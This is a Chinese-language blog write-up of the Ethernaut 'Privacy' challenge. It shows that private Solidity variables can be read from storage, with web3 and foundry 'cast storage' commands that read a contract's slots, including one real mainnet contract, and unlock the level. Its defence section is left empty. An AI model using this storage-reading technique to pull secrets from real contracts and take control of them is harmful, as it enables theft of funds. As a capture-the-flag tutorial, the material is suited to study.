# 智能合约黑客攻击 Ethernaut:  
 12. Privacy

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

将合约 locked 变量改为true。

Hack思路
------

关键的data 变量是private 的，但是可以推算出在合约下标为 5 的slot，直接可以读出来。

![Solidity Storage](https://storage.googleapis.com/papyrus_images/9ad7e12e64d5119c4082ba8212d77a1a96f78652cd8560db3acc5ee981d75e0f.webp)

Solidity Storage

    await web3.eth.getStorageAt(instance, 5);
    Output: 0x8e9f9f61dd738241ee4429348250eb6bcd4b985d1546db55888fe7bb937b5ae5
    await contract.unlock("0x8e9f9f61dd738241ee4429348250eb6b")
    

如果合约版本比较高，可以直接用 [foundry](https://github.com/foundry-rs/foundry) 的 cast 命令读出来。

    # 循环读取 slot
    slot=0
    while [ "$slot" -lt 10 ]; do
      echo "Slot:$slot" 
      cast storage --rpc-url https://eth-sepolia.g.alchemy.com/v2/$API_KEY_ALCHEMY 0xF65BD48b8ecf7AA3d73FA9B58548B4de7a1c28Dc  $slot 
      slot=$((slot + 1))
    done
    

    # 打印合约全部布局
    
    cast storage --rpc-url https://eth-mainnet.g.alchemy.com/v2/$API_KEY_ALCHEMY 0xB519a3E46D43c2ab98A7cAbC6bBF00DF491438e6 
    

![执行结果](https://storage.googleapis.com/papyrus_images/d029c758b134c725369abc7c5e4931141eedc25d187d876f53b5468ce5b84e4d.png)

执行结果

Hack案例
------

防范思路
----

…

参考资料
----

*   [Layout of State Variables in Storage 0.8.21](https://docs.soliditylang.org/en/v0.8.21/internals/layout_in_storage.html)
    
*   [Cheatcodes Reference](https://book.getfoundry.sh/cheatcodes/#cheatcodes-reference)
    
*   [https://evm.storage/](https://evm.storage/)

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-12-privacy)*
